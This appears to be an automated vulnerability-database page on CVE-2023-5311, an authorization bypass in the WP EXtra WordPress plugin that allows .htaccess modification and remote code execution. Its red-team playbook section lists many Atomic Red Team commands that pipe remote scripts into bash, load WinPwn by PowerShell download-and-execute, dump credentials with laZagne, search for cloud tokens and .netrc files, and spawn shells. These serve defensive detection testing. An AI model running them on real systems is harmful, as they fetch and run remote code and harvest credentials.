CVE-2023-5311
Overview
This vulnerability is an authorization bypass due to a missing capability check in the register() function of the WP EXtra WordPress plugin. The flaw exists in the plugin's access control mechanism, specifically failing to verify user permissions before allowing modifications. The affected component is the register() function responsible for handling data related to .htaccess files in the root, /wp-content, and /wp-includes directories.
Vulnerability Description
The WP EXtra plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the register() function in versions up to, and including, 6.2. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to modify the contents of the .htaccess files located in a site's root directory or /wp-content and /wp-includes folders and achieve remote code execution. CVE-2023-46623 appears to be a duplicate of this issue.
Impact
An attacker with subscriber-level authentication can modify .htaccess files, enabling remote code execution on the affected WordPress site. This allows for full site compromise, including arbitrary code execution and potential lateral movement within the hosting environment. The vulnerability requires no user interaction beyond authentication and is exploitable remotely over the network, as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N).
Solution
Upgrade the WP EXtra plugin to a version later than 6.2 where the missing capability check in the register() function is implemented. Refer to the WordPress plugin repository changelog (changeset 2977703) and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/87e3dd5e-0d77-4d78-8171-0beaf9482699) for detailed patch instructions and version information. No additional workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WP Extra plugin for WordPress arises from a critical oversight in the implementation of capability checks within the register() function. This oversight allows authenticated users, even those with minimal subscriber-level permissions, to execute unauthorized modifications to sensitive files, specifically the .htaccess files located in the site's root directory and within the /wp-content and /wp-includes folders. The absence of proper capability validation means that attackers can exploit this vulnerability to alter these files, potentially leading to remote code execution. The implications of this flaw are significant, as it opens a pathway for attackers to execute arbitrary code on the server, compromising the integrity and confidentiality of the entire web application.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with subscriber-level access could leverage the lack of capability checks to manipulate the .htaccess files, which are crucial for configuring web server behavior. By injecting malicious directives or scripts into these files, an attacker can redirect users, serve malicious content, or even gain elevated privileges. This exploitation can occur in scenarios where an attacker gains access to a user account with the necessary permissions, either through credential stuffing, phishing, or exploiting other vulnerabilities to escalate privileges. Once the attacker has control over the .htaccess file, they can execute code that may lead to further compromises, including data breaches or the installation of backdoors.
The real-world impact of this vulnerability is profound, particularly for businesses relying on WordPress for their online presence. The potential for remote code execution means that an attacker could gain full control over the affected server, leading to data theft, defacement of websites, and loss of customer trust. The business risks associated with such an incident can be severe, including financial losses, legal repercussions, and damage to brand reputation. Organizations may face regulatory scrutiny if sensitive customer data is compromised, and the costs associated with incident response, recovery, and remediation can be substantial. Furthermore, the presence of such vulnerabilities can lead to increased scrutiny from stakeholders and customers, who may question the organization's commitment to cybersecurity.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and remediate weaknesses in plugins and themes. Implementing robust access controls and ensuring that users are granted the minimum necessary permissions can help reduce the attack surface. Additionally, organizations should consider employing web application firewalls (WAFs) to monitor and filter incoming traffic for malicious activity. Keeping the WP Extra plugin and all other components of the WordPress environment up to date is crucial, as updates often include patches for known vulnerabilities. Educating users about the importance of strong passwords and recognizing phishing attempts can further bolster defenses against unauthorized access.
In conclusion, the vulnerability in the WP Extra plugin poses a significant threat to WordPress installations, enabling unauthorized data modification and potential remote code execution. The implications for businesses are severe, with risks ranging from data breaches to reputational damage. By implementing comprehensive detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the security and integrity of their web applications.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpvnteam | Wp Extra | All |
cpe:2.3:a:wpvnteam:wp_extra:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-5311 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/87e3dd5e-0d77-4d78-8171-0beaf9482699?source=cve |
| giongfnef.gitbook.io |
GitHub CVE
|
https://giongfnef.gitbook.io/giongfnef/cve/cve-2023-5311 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2977703/wp-extra |